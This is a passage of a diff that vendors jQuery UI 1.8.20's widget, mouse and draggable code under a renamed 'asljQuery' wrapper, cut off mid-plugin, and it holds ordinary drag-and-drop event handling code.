+ type :
555
+ this.widgetEventPrefix + type ).toLowerCase();
556
+ // the original event may come from any element
557
+ // so we need to reset the target on the new event
558
+ event.target = this.element[ 0 ];
559
+
560
+ // copy original event properties over to the new event
561
+ orig = event.originalEvent;
562
+ if ( orig ) {
563
+ for ( prop in orig ) {
564
+ if ( !( prop in event ) ) {
565
+ event[ prop ] = orig[ prop ];
566
+ }
567
+ }
568
+ }
569
+
570
+ this.element.trigger( event, data );
571
+
572
+ return !( $.isFunction(callback) &&
573
+ callback.call( this.element[0], event, data ) === false ||
574
+ event.isDefaultPrevented() );
575
+ }
576
+ };
577
+
578
+ })(asljQuery);
579
+
580
+ (function( $, undefined ) {
581
+
582
+ var mouseHandled = false;
583
+ $( document ).mouseup( function( e ) {
584
+ mouseHandled = false;
585
+ });
586
+
587
+ $.widget("ui.mouse", {
588
+ options: {
589
+ cancel: ':input,option',
590
+ distance: 1,
591
+ delay: 0
592
+ },
593
+ _mouseInit: function() {
594
+ var self = this;
595
+
596
+ this.element
597
+ .bind('mousedown.'+this.widgetName, function(event) {
598
+ return self._mouseDown(event);
599
+ })
600
+ .bind('click.'+this.widgetName, function(event) {
601
+ if (true === $.data(event.target, self.widgetName + '.preventClickEvent')) {
602
+ $.removeData(event.target, self.widgetName + '.preventClickEvent');
603
+ event.stopImmediatePropagation();
604
+ return false;
605
+ }
606
+ });
607
+
608
+ this.started = false;
609
+ },
610
+
611
+ // TODO: make sure destroying one instance of mouse doesn't mess with
612
+ // other instances of mouse
613
+ _mouseDestroy: function() {
614
+ this.element.unbind('.'+this.widgetName);
615
+ $(document)
616
+ .unbind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
617
+ .unbind('mouseup.'+this.widgetName, this._mouseUpDelegate);
618
+ },
619
+
620
+ _mouseDown: function(event) {
621
+ // don't let more than one widget handle mouseStart
622
+ if( mouseHandled ) { return };
623
+
624
+ // we may have missed mouseup (out of window)
625
+ (this._mouseStarted && this._mouseUp(event));
626
+
627
+ this._mouseDownEvent = event;
628
+
629
+ var self = this,
630
+ btnIsLeft = (event.which == 1),
631
+ // event.target.nodeName works around a bug in IE 8 with
632
+ // disabled inputs (#7620)
633
+ elIsCancel = (typeof this.options.cancel == "string" && event.target.nodeName ? $(event.target).closest(this.options.cancel).length : false);
634
+ if (!btnIsLeft || elIsCancel || !this._mouseCapture(event)) {
635
+ return true;
636
+ }
637
+
638
+ this.mouseDelayMet = !this.options.delay;
639
+ if (!this.mouseDelayMet) {
640
+ this._mouseDelayTimer = setTimeout(function() {
641
+ self.mouseDelayMet = true;
642
+ }, this.options.delay);
643
+ }
644
+
645
+ if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
646
+ this._mouseStarted = (this._mouseStart(event) !== false);
647
+ if (!this._mouseStarted) {
648
+ event.preventDefault();
649
+ return true;
650
+ }
651
+ }
652
+
653
+ // Click event may never have fired (Gecko & Opera)
654
+ if (true === $.data(event.target, this.widgetName + '.preventClickEvent')) {
655
+ $.removeData(event.target, this.widgetName + '.preventClickEvent');
656
+ }
657
+
658
+ // these delegates are required to keep context
659
+ this._mouseMoveDelegate = function(event) {
660
+ return self._mouseMove(event);
661
+ };
662
+ this._mouseUpDelegate = function(event) {
663
+ return self._mouseUp(event);
664
+ };
665
+ $(document)
666
+ .bind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
667
+ .bind('mouseup.'+this.widgetName, this._mouseUpDelegate);
668
+
669
+ event.preventDefault();
670
+
671
+ mouseHandled = true;
672
+ return true;
673
+ },
674
+
675
+ _mouseMove: function(event) {
676
+ // IE mouseup check - mouseup happened when mouse was out of window
677
+ if ($.browser.msie && !(document.documentMode >= 9) && !event.button) {
678
+ return this._mouseUp(event);
679
+ }
680
+
681
+ if (this._mouseStarted) {
682
+ this._mouseDrag(event);
683
+ return event.preventDefault();
684
+ }
685
+
686
+ if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
687
+ this._mouseStarted =
688
+ (this._mouseStart(this._mouseDownEvent, event) !== false);
689
+ (this._mouseStarted ? this._mouseDrag(event) : this._mouseUp(event));
690
+ }
691
+
692
+ return !this._mouseStarted;
693
+ },
694
+
695
+ _mouseUp: function(event) {
696
+ $(document)
697
+ .unbind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
698
+ .unbind('mouseup.'+this.widgetName, this._mouseUpDelegate);
699
+
700
+ if (this._mouseStarted) {
701
+ this._mouseStarted = false;
702
+
703
+ if (event.target == this._mouseDownEvent.target) {
704
+ $.data(event.target, this.widgetName + '.preventClickEvent', true);
705
+ }
706
+
707
+ this._mouseStop(event);
708
+ }
709
+
710
+ return false;
711
+ },
712
+
713
+ _mouseDistanceMet: function(event) {
714
+ return (Math.max(
715
+ Math.abs(this._mouseDownEvent.pageX - event.pageX),
716
+ Math.abs(this._mouseDownEvent.pageY - event.pageY)
717
+ ) >= this.options.distance
718
+ );
719
+ },
720
+
721
+ _mouseDelayMet: function(event) {
722
+ return this.mouseDelayMet;
723
+ },
724
+
725
+ // These are placeholder methods, to be overriden by extending plugin
726
+ _mouseStart: function(event) {},
727
+ _mouseDrag: function(event) {},
728
+ _mouseStop: function(event) {},
729
+ _mouseCapture: function(event) { return true; }
730
+ });
731
+
732
+ })(asljQuery);
733
+
734
+ (function( $, undefined ) {
735
+
736
+ $.widget("ui.draggable", $.ui.mouse, {
737
+ widgetEventPrefix: "drag",
738
+ options: {
739
+ addClasses: true,
740
+ appendTo: "parent",
741
+ axis: false,
742
+ connectToSortable: false,
743
+ containment: false,
744
+ cursor: "auto",
745
+ cursorAt: false,
746
+ grid: false,
747
+ handle: false,
748
+ helper: "original",
749
+ iframeFix: false,
750
+ opacity: false,
751
+ refreshPositions: false,
752
+ revert: false,
753
+ revertDuration: 500,
754
+ scope: "default",
755
+ scroll: true,
756
+ scrollSensitivity: 20,
757
+ scrollSpeed: 20,
758
+ snap: false,
759
+ snapMode: "both",
760
+ snapTolerance: 20,
761
+ stack: false,
762
+ zIndex: false
763
+ },
764
+ _create: function() {
765
+
766
+ if (this.options.helper == 'original' && !(/^(?:r|a|f)/).test(this.element.css("position")))
767
+ this.element[0].style.position = 'relative';
768
+
769
+ (this.options.addClasses && this.element.addClass("ui-draggable"));
770
+ (this.options.disabled && this.element.addClass("ui-draggable-disabled"));
771
+
772
+ this._mouseInit();
773
+
774
+ },
775
+
776
+ destroy: function() {
777
+ if(!this.element.data('draggable')) return;
778
+ this.element
779
+ .removeData("draggable")
780
+ .unbind(".draggable")
781
+ .removeClass("ui-draggable"
782
+ + " ui-draggable-dragging"
783
+ + " ui-draggable-disabled");
784
+ this._mouseDestroy();
785
+
786
+ return this;
787
+ },
788
+
789
+ _mouseCapture: function(event) {
790
+
791
+ var o = this.options;
792
+
793
+ // among others, prevent a drag on a resizable-handle
794
+ if (this.helper || o.disabled || $(event.target).is('.ui-resizable-handle'))
795
+ return false;
796
+
797
+ //Quit if we're not on a valid handle
798
+ this.handle = this._getHandle(event);
799
+ if (!this.handle)
800
+ return false;
801
+
802
+ if ( o.iframeFix ) {
803
+ $(o.iframeFix === true ? "iframe" : o.iframeFix).each(function() {
804
+ $('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>')
805
+ .css({
806
+ width: this.offsetWidth+"px", height: this.offsetHeight+"px",
807
+ position: "absolute", opacity: "0.001", zIndex: 1000
808
+ })
809
+ .css($(this).offset())
810
+ .appendTo("body");
811
+ });
812
+ }
813
+
814
+ return true;
815
+
816
+ },
817
+
818
+ _mouseStart: function(event) {
819
+
820
+ var o = this.options;
821
+
822
+ //Create and append the visible helper
823
+ this.helper = this._createHelper(event);
824
+
825
+ //Cache the helper size
826
+ this._cacheHelperProportions();
827
+
828
+ //If ddmanager is used for droppables, set the global draggable
829
+ if($.ui.ddmanager)
830
+ $.ui.ddmanager.current = this;
831
+
832
+ /*
833
+ * - Position generation -
834
+ * This block generates everything position related - it's the core of draggables.
835
+ */
836
+
837
+ //Cache the margins of the original element
838
+ this._cacheMargins();
839
+
840
+ //Store the helper's css position
841
+ this.cssPosition = this.helper.css("position");
842
+ this.scrollParent = this.helper.scrollParent();
843
+
844
+ //The element's absolute position on the page minus margins
845
+ this.offset = this.positionAbs = this.element.offset();
846
+ this.offset = {
847
+ top: this.offset.top - this.margins.top,
848
+ left: this.offset.left - this.margins.left
849
+ };
850
+
851
+ $.extend(this.offset, {
852
+ click: { //Where the click happened, relative to the element
853
+ left: event.pageX - this.offset.left,
854
+ top: event.pageY - this.offset.top
855
+ },
856
+ parent: this._getParentOffset(),
857
+ relative: this._getRelativeOffset() //This is a relative to absolute position minus the actual position calculation - only used for relative positioned helper
858
+ });
859
+
860
+ //Generate the original position
861
+ this.originalPosition = this.position = this._generatePosition(event);
862
+ this.originalPageX = event.pageX;
863
+ this.originalPageY = event.pageY;
864
+
865
+ //Adjust the mouse offset relative to the helper if 'cursorAt' is supplied
866
+ (o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
867
+
868
+ //Set a containment if given in the options
869
+ if(o.containment)
870
+ this._setContainment();
871
+
872
+ //Trigger event + callbacks
873
+ if(this._trigger("start", event) === false) {
874
+ this._clear();
875
+ return false;
876
+ }
877
+
878
+ //Recache the helper size
879
+ this._cacheHelperProportions();
880
+
881
+ //Prepare the droppable offsets
882
+ if ($.ui.ddmanager && !o.dropBehaviour)
883
+ $.ui.ddmanager.prepareOffsets(this, event);
884
+
885
+ this.helper.addClass("ui-draggable-dragging");
886
+ this._mouseDrag(event, true); //Execute the drag once - this causes the helper not to be visible before getting its correct position
887
+
888
+ //If the ddmanager is used for droppables, inform the manager that dragging has started (see #5003)
889
+ if ( $.ui.ddmanager ) $.ui.ddmanager.dragStart(this, event);
890
+
891
+ return true;
892
+ },
893
+
894
+ _mouseDrag: function(event, noPropagation) {
895
+
896
+ //Compute the helpers position
897
+ this.position = this._generatePosition(event);
898
+ this.positionAbs = this._convertPositionTo("absolute");
899
+
900
+ //Call plugins and callbacks and use the resulting position if something is returned
901
+ if (!noPropagation) {
902
+ var ui = this._uiHash();
903
+ if(this._trigger('drag', event, ui) === false) {
904
+ this._mouseUp({});
905
+ return false;
906
+ }
907
+ this.position = ui.position;
908
+ }
909
+
910
+ if(!this.options.axis || this.options.axis != "y") this.helper[0].style.left = this.position.left+'px';
911
+ if(!this.options.axis || this.options.axis != "x") this.helper[0].style.top = this.position.top+'px';
912
+ if($.ui.ddmanager) $.ui.ddmanager.drag(this, event);
913
+
914
+ return false;
915
+ },
916
+
917
+ _mouseStop: function(event) {
918
+
919
+ //If we are using droppables, inform the manager about the drop
920
+ var dropped = false;
921
+ if ($.ui.ddmanager && !this.options.dropBehaviour)
922
+ dropped = $.ui.ddmanager.drop(this, event);
923
+
924
+ //if a drop comes from outside (a sortable)
925
+ if(this.dropped) {
926
+ dropped = this.dropped;
927
+ this.dropped = false;
928
+ }
929
+
930
+ //if the original element is no longer in the DOM don't bother to continue (see #8269)
931
+ var element = this.element[0], elementInDom = false;
932
+ while ( element && (element = element.parentNode) ) {
933
+ if (element == document ) {
934
+ elementInDom = true;
935
+ }
936
+ }
937
+ if ( !elementInDom && this.options.helper === "original" )
938
+ return false;
939
+
940
+ if((this.options.revert == "invalid" && !dropped) || (this.options.revert == "valid" && dropped) || this.options.revert === true || ($.isFunction(this.options.revert) && this.options.revert.call(this.element, dropped))) {
941
+ var self = this;
942
+ $(this.helper).animate(this.originalPosition, parseInt(this.options.revertDuration, 10), function() {
943
+ if(self._trigger("stop", event) !== false) {
944
+ self._clear();
945
+ }
946
+ });
947
+ } else {
948
+ if(this._trigger("stop", event) !== false) {
949
+ this._clear();
950
+ }
951
+ }
952
+
953
+ return false;
954
+ },
955
+
956
+ _mouseUp: function(event) {
957
+ if (this.options.iframeFix === true) {
958
+ $("div.ui-draggable-iframeFix").each(function() {
959
+ this.parentNode.removeChild(this);
960
+ }); //Remove frame helpers
961
+ }
962
+
963
+ //If the ddmanager is used for droppables, inform the manager that dragging has stopped (see #5003)
964
+ if( $.ui.ddmanager ) $.ui.ddmanager.dragStop(this, event);
965
+
966
+ return $.ui.mouse.prototype._mouseUp.call(this, event);
967
+ },
968
+
969
+ cancel: function() {
970
+
971
+ if(this.helper.is(".ui-draggable-dragging")) {
972
+ this._mouseUp({});
973
+ } else {
974
+ this._clear();
975
+ }
976
+
977
+ return this;
978
+
979
+ },
980
+
981
+ _getHandle: function(event) {
982
+
983
+ var handle = !this.options.handle || !$(this.options.handle, this.element).length ? true : false;
984
+ $(this.options.handle, this.element)
985
+ .find("*")
986
+ .andSelf()
987
+ .each(function() {
988
+ if(this == event.target) handle = true;
989
+ });
990
+
991
+ return handle;
992
+
993
+ },
994
+
995
+ _createHelper: function(event) {
996
+
997
+ var o = this.options;
998
+ var helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [event])) : (o.helper == 'clone' ? this.element.clone().removeAttr('id') : this.element);
999
+
1000
+ if(!helper.parents('body').length)
1001
+ helper.appendTo((o.appendTo == 'parent' ? this.element[0].parentNode : o.appendTo));
1002
+
1003
+ if(helper[0] != this.element[0] && !(/(fixed|absolute)/).test(helper.css("position")))
1004
+ helper.css("position", "absolute");
1005
+
1006
+ return helper;
1007
+
1008
+ },
1009
+
1010
+ _adjustOffsetFromHelper: function(obj) {
1011
+ if (typeof obj == 'string') {
1012
+ obj = obj.split(' ');
1013
+ }
1014
+ if ($.isArray(obj)) {
1015
+ obj = {left: +obj[0], top: +obj[1] || 0};
1016
+ }
1017
+ if ('left' in obj) {
1018
+ this.offset.click.left = obj.left + this.margins.left;
1019
+ }
1020
+ if ('right' in obj) {
1021
+ this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
1022
+ }
1023
+ if ('top' in obj) {
1024
+ this.offset.click.top = obj.top + this.margins.top;
1025
+ }
1026
+ if ('bottom' in obj) {
1027
+ this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
1028
+ }
1029
+ },
1030
+
1031
+ _getParentOffset: function() {
1032
+
1033
+ //Get the offsetParent and cache its position
1034
+ this.offsetParent = this.helper.offsetParent();
1035
+ var po = this.offsetParent.offset();
1036
+
1037
+ // This is a special case where we need to modify a offset calculated on start, since the following happened:
1038
+ // 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
1039
+ // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
1040
+ // the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
1041
+ if(this.cssPosition == 'absolute' && this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) {
1042
+ po.left += this.scrollParent.scrollLeft();
1043
+ po.top += this.scrollParent.scrollTop();
1044
+ }
1045
+
1046
+ if((this.offsetParent[0] == document.body) //This needs to be actually done for all browsers, since pageX/pageY includes this information
1047
+ || (this.offsetParent[0].tagName && this.offsetParent[0].tagName.toLowerCase() == 'html' && $.browser.msie)) //Ugly IE fix
1048
+ po = { top: 0, left: 0 };
1049
+
1050
+ return {
1051
+ top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"),10) || 0),
1052
+ left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"),10) || 0)
1053
+ };
1054
+
1055
+ },
1056
+
1057
+ _getRelativeOffset: function() {
1058
+
1059
+ if(this.cssPosition == "relative") {
1060
+ var p = this.element.position();
1061
+ return {
1062
+ top: p.top - (parseInt(this.helper.css("top"),10) || 0) + this.scrollParent.scrollTop(),
1063
+ left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollParent.scrollLeft()
1064
+ };
1065
+ } else {
1066
+ return { top: 0, left: 0 };
1067
+ }
1068
+
1069
+ },
1070
+
1071
+ _cacheMargins: function() {
1072
+ this.margins = {
1073
+ left: (parseInt(this.element.css("marginLeft"),10) || 0),
1074
+ top: (parseInt(this.element.css("marginTop"),10) || 0),
1075
+ right: (parseInt(this.element.css("marginRight"),10) || 0),
1076
+ bottom: (parseInt(this.element.css("marginBottom"),10) || 0)
1077
+ };
1078
+ },
1079
+
1080
+ _cacheHelperProportions: function() {
1081
+ this.helperProportions = {
1082
+ width: this.helper.outerWidth(),
1083
+ height: this.helper.outerHeight()
1084
+ };
1085
+ },
1086
+
1087
+ _setContainment: function() {
1088
+
1089
+ var o = this.options;
1090
+ if(o.containment == 'parent') o.containment = this.helper[0].parentNode;
1091
+ if(o.containment == 'document' || o.containment == 'window') this.containment = [
1092
+ o.containment == 'document' ? 0 : $(window).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
1093
+ o.containment == 'document' ? 0 : $(window).scrollTop() - this.offset.relative.top - this.offset.parent.top,
1094
+ (o.containment == 'document' ? 0 : $(window).scrollLeft()) + $(o.containment == 'document' ? document : window).width() - this.helperProportions.width - this.margins.left,
1095
+ (o.containment == 'document' ? 0 : $(window).scrollTop()) + ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top
1096
+ ];
1097
+
1098
+ if(!(/^(document|window|parent)$/).test(o.containment) && o.containment.constructor != Array) {
1099
+ var c = $(o.containment);
1100
+ var ce = c[0]; if(!ce) return;
1101
+ var co = c.offset();
1102
+ var over = ($(ce).css("overflow") != 'hidden');
1103
+
1104
+ this.containment = [
1105
+ (parseInt($(ce).css("borderLeftWidth"),10) || 0) + (parseInt($(ce).css("paddingLeft"),10) || 0),
1106
+ (parseInt($(ce).css("borderTopWidth"),10) || 0) + (parseInt($(ce).css("paddingTop"),10) || 0),
1107
+ (over ? Math.max(ce.scrollWidth,ce.offsetWidth) : ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"),10) || 0) - (parseInt($(ce).css("paddingRight"),10) || 0) - this.helperProportions.width - this.margins.left - this.margins.right,
1108
+ (over ? Math.max(ce.scrollHeight,ce.offsetHeight) : ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"),10) || 0) - (parseInt($(ce).css("paddingBottom"),10) || 0) - this.helperProportions.height - this.margins.top - this.margins.bottom
1109
+ ];
1110
+ this.relative_container = c;
1111
+
1112
+ } else if(o.containment.constructor == Array) {
1113
+ this.containment = o.containment;
1114
+ }
1115
+
1116
+ },
1117
+
1118
+ _convertPositionTo: function(d, pos) {
1119
+
1120
+ if(!pos) pos = this.position;
1121
+ var mod = d == "absolute" ? 1 : -1;
1122
+ var o = this.options, scroll = this.cssPosition == 'absolute' && !(this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
1123
+
1124
+ return {
1125
+ top: (
1126
+ pos.top // The absolute mouse position
1127
+ + this.offset.relative.top * mod // Only for relative positioned nodes: Relative offset from element to offset parent
1128
+ + this.offset.parent.top * mod // The offsetParent's offset without borders (offset + border)
1129
+ - ($.browser.safari && $.browser.version < 526 && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod)
1130
+ ),
1131
+ left: (
1132
+ pos.left // The absolute mouse position
1133
+ + this.offset.relative.left * mod // Only for relative positioned nodes: Relative offset from element to offset parent
1134
+ + this.offset.parent.left * mod // The offsetParent's offset without borders (offset + border)
1135
+ - ($.browser.safari && $.browser.version < 526 && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod)
1136
+ )
1137
+ };
1138
+
1139
+ },
1140
+
1141
+ _generatePosition: function(event) {
1142
+
1143
+ var o = this.options, scroll = this.cssPosition == 'absolute' && !(this.scrollParent[0] != document && $.ui.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
1144
+ var pageX = event.pageX;
1145
+ var pageY = event.pageY;
1146
+
1147
+ /*
1148
+ * - Position constraining -
1149
+ * Constrain the position to a mix of grid, containment.
1150
+ */
1151
+
1152
+ if(this.originalPosition) { //If we are not dragging yet, we won't check for options
1153
+ var containment;
1154
+ if(this.containment) {
1155
+ if (this.relative_container){
1156
+ var co = this.relative_container.offset();
1157
+ containment = [ this.containment[0] + co.left,
1158
+ this.containment[1] + co.top,
1159
+ this.containment[2] + co.left,
1160
+ this.containment[3] + co.top ];
1161
+ }
1162
+ else {
1163
+ containment = this.containment;
1164
+ }
1165
+
1166
+ if(event.pageX - this.offset.click.left < containment[0]) pageX = containment[0] + this.offset.click.left;
1167
+ if(event.pageY - this.offset.click.top < containment[1]) pageY = containment[1] + this.offset.click.top;
1168
+ if(event.pageX - this.offset.click.left > containment[2]) pageX = containment[2] + this.offset.click.left;
1169
+ if(event.pageY - this.offset.click.top > containment[3]) pageY = containment[3] + this.offset.click.top;
1170
+ }
1171
+
1172
+ if(o.grid) {
1173
+ //Check for grid elements set to 0 to prevent divide by 0 error causing invalid argument errors in IE (see ticket #6950)
1174
+ var top = o.grid[1] ? this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1] : this.originalPageY;
1175
+ pageY = containment ? (!(top - this.offset.click.top < containment[1] || top - this.offset.click.top > containment[3]) ? top : (!(top - this.offset.click.top < containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
1176
+
1177
+ var left = o.grid[0] ? this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0] : this.originalPageX;
1178
+ pageX = containment ? (!(left - this.offset.click.left < containment[0] || left - this.offset.click.left > containment[2]) ? left : (!(left - this.offset.click.left < containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
1179
+ }
1180
+
1181
+ }
1182
+
1183
+ return {
1184
+ top: (
1185
+ pageY // The absolute mouse position
1186
+ - this.offset.click.top // Click offset (relative to the element)
1187
+ - this.offset.relative.top // Only for relative positioned nodes: Relative offset from element to offset parent
1188
+ - this.offset.parent.top // The offsetParent's offset without borders (offset + border)
1189
+ + ($.browser.safari && $.browser.version < 526 && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ))
1190
+ ),
1191
+ left: (
1192
+ pageX // The absolute mouse position
1193
+ - this.offset.click.left // Click offset (relative to the element)
1194
+ - this.offset.relative.left // Only for relative positioned nodes: Relative offset from element to offset parent
1195
+ - this.offset.parent.left // The offsetParent's offset without borders (offset + border)
1196
+ + ($.browser.safari && $.browser.version < 526 && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ))
1197
+ )
1198
+ };
1199
+
1200
+ },
1201
+
1202
+ _clear: function() {
1203
+ this.helper.removeClass("ui-draggable-dragging");
1204
+ if(this.helper[0] != this.element[0] && !this.cancelHelperRemoval) this.helper.remove();
1205
+ //if($.ui.ddmanager) $.ui.ddmanager.current = null;
1206
+ this.helper = null;
1207
+ this.cancelHelperRemoval = false;
1208
+ },
1209
+
1210
+ // From now on bulk stuff - mainly helpers
1211
+
1212
+ _trigger: function(type, event, ui) {
1213
+ ui = ui || this._uiHash();
1214
+ $.ui.plugin.call(this, type, [event, ui]);
1215
+ if(type == "drag") this.positionAbs = this._convertPositionTo("absolute"); //The absolute position has to be recalculated after plugins
1216
+ return $.Widget.prototype._trigger.call(this, type, event, ui);
1217
+ },
1218
+
1219
+ plugins: {},
1220
+
1221
+ _uiHash: function(event) {
1222
+ return {
1223
+ helper: this.helper,
1224
+ position: this.position,
1225
+ originalPosition: this.originalPosition,
1226
+ offset: this.positionAbs
1227
+ };
1228
+ }
1229
+
1230
+ });
1231
+
1232
+ $.extend($.ui.draggable, {
1233
+ version: "1.8.20"
1234
+ });
1235
+
1236
+ $.ui.plugin.add("draggable", "connectToSortable", {
1237
+ start: function(event, ui) {
1238
+
1239
+ var inst = $(this).data("draggable"), o = inst.options,
1240
+ uiSortable = $.extend({}, ui, { item: inst.element });
1241
+ inst.sortables = [];
1242
+ $(o.connectToSortable).each(function() {
1243
+ var sortable = $.data(this, 'sortable');
1244
+ if (sortable && !sortable.options.disabled) {
1245
+ inst.sortables.push({
1246
+ instance: sortable,
1247
+ shouldRevert: sortable.options.revert
1248
+ });
1249
+ sortable.refreshPositions(); // Call the sortable's refreshPositions at drag start to refresh the containerCache since the sortable container cache is used in drag and needs to be up to date (this will ensure it's initialised as well as being kept in step with any changes that might have happened on the page).
1250
+ sortable._trigger("activate", event, uiSortable);
1251
+ }
1252
+ });
1253
+
1254
+ },
1255
+ stop: function(event, ui) {
1256
+
1257
+ //If we are still over the sortable, we fake the stop event of the sortable, but also remove helper
1258
+ var inst = $(this).data("draggable"),
1259
+ uiSortable = $.extend({}, ui, { item: inst.element });
1260
+
1261
+ $.each(inst.sortables, function() {
1262
+ if(this.instance.isOver) {
1263
+
1264
+ this.instance.isOver = 0;
1265
+
1266
+ inst.cancelHelperRemoval = true; //Don't remove the helper in the draggable instance
1267
+ this.instance.cancelHelperRemoval = false; //Remove it in the sortable instance (so sortable plugins like revert still work)
1268
+
1269
+ //The sortable revert is supported, and we have to set a temporary dropped variable on the draggable to support revert: 'valid/invalid'
1270
+ if(this.shouldRevert) this.instance.options.revert = true;
1271
+
1272
+ //Trigger the stop of the sortable
1273
+ this.instance._mouseStop(event);
1274
+
1275
+ this.instance.options.helper = this.instance.options._helper;
1276
+
1277
+ //If the helper has been the original item, restore properties in the sortable
1278
+ if(inst.options.helper == 'original')
1279
+ this.instance.currentItem.css({ top: 'auto', left: 'auto' });
1280
+
1281
+ } else {
1282
+ this.instance.cancelHelperRemoval = false; //Remove the helper in the sortable instance
1283
+ this.instance._trigger("deactivate", event, uiSortable);
1284
+ }
1285
+
1286
+ });
1287
+
1288
+ },
1289
+ drag: function(event, ui) {
1290
+
1291
+ var inst = $(this).data("draggable"), self = this;
1292
+
1293
+ var checkPos = function(o) {
1294
+ var dyClick = this.offset.click.top, dxClick = this.offset.click.left;
1295
+ var helperTop = this.positionAbs.top, helperLeft = this.positionAbs.left;
1296
+ var itemHeight = o.height, itemWidth = o.width;
1297
+ var itemTop = o.top, itemLeft = o.left;
1298
+
1299
+ return $.ui.isOver(helperTop + dyClick, helperLeft + dxClick, itemTop, itemLeft, itemHeight, itemWidth);
1300
+ };
1301
+
1302
+ $.each(inst.sortables, function(i) {
1303
+
1304
+ //Copy over some variables to allow calling the sortable's native _intersectsWith
1305
+ this.instance.positionAbs = inst.positionAbs;
1306
+ this.instance.helperProportions = inst.helperProportions;
1307
+ this.instance.offset.click = inst.offset.click;
1308
+
1309
+ if(this.instance._intersectsWith(this.instance.containerCache)) {
1310
+
1311
+ //If it intersects, we use a little isOver variable and set it once, so our move-in stuff gets fired only once
1312
+ if(!this.instance.isOver) {
1313
+
1314
+ this.instance.isOver = 1;
1315
+ //Now we fake the start of dragging for the sortable instance,
1316
+ //by cloning the list group item, appending it to the sortable and using it as inst.currentItem
1317
+ //We can then fire the start event of the sortable with our passed browser event, and our own helper (so it doesn't create a new one)
1318
+ this.instance.currentItem = $(self).clone().removeAttr('id').appendTo(this.instance.element).data("sortable-item", true);
1319
+ this.instance.options._helper = this.instance.options.helper; //Store helper option to later restore it
1320
+ this.instance.options.helper = function() { return ui.helper[0]; };
1321
+
1322
+ event.target = this.instance.currentItem[0];
1323
+ this.instance._mouseCapture(event, true);
1324
+ this.instance._mouseStart(event, true, true);
1325
+
1326
+ //Because the browser event is way off the new appended portlet, we modify a couple of variables to reflect the changes
1327
+ this.instance.offset.click.top = inst.offset.click.top;
1328
+ this.instance.offset.click.left = inst.offset.click.left;
1329
+ this.instance.offset.parent.left -= inst.offset.parent.left - this.instance.offset.parent.left;
1330
+ this.instance.offset.parent.top -= inst.offset.parent.top - this.instance.offset.parent.top;
1331
+
1332
+ inst._trigger("toSortable", event);
1333
+ inst.dropped = this.instance.element; //draggable revert needs that
1334
+ //hack so receive/update callbacks work (mostly)
1335
+ inst.currentItem = inst.element;
1336
+ this.instance.fromOutside = inst;
1337
+
1338
+ }
1339
+
1340
+ //Provided we did all the previous steps, we can fire the drag event of the sortable on every draggable drag, when it intersects with the sortable
1341
+ if(this.instance.currentItem) this.instance._mouseDrag(event);
1342
+
1343
+ } else {
1344
+
1345
+ //If it doesn't intersect with the sortable, and it intersected before,
1346
+ //we fake the drag stop of the sortable, but make sure it doesn't remove the helper by using cancelHelperRemoval
1347
+ if(this.instance.isOver) {
1348
+
1349
+ this.instance.isOver = 0;
1350
+ this.instance.cancelHelperRemoval = true;
1351
+
1352
+ //Prevent reverting on this forced stop
1353
+ this.instance.options.revert = false;
1354
+
1355
+ // The out event needs to be triggered independently
1356
+ this.instance._trigger('out', event, this.instance._uiHash(this.instance));
1357
+
1358
+ this.instance._mouseStop(event, true);
1359
+ this.instance.options.helper = this.instance.options._helper;
1360
+
1361
+ //Now we remove our currentItem, the list group clone again, and the placeholder, and animate the helper back to it's original size
1362
+ this.instance.currentItem.remove();
1363
+ if(this.instance.placeholder) this.instance.placeholder.remove();
1364
+
1365
+ inst._trigger("fromSortable", event);
1366
+ inst.dropped = false; //draggable revert needs that
1367
+ }
1368
+
1369
+ };
1370
+
1371
+ });
1372
+
1373
+ }
1374
+ });
1375
+
1376
+ $.ui.plugin.add("draggable", "cursor", {
1377
+ start: function(event, ui) {
1378
+ var t = $('body'), o = $(this).data('draggable').options;
1379
+ if (t.css("cursor")) o._cursor = t.css("cursor");
1380
+ t.css("cursor", o.cursor);
1381
+ },
1382
+ stop: function(event, ui) {
1383
+ var o = $(this).data('draggable').options;
1384
+ if (o._cursor) $('body').css("cursor", o._cursor);
1385
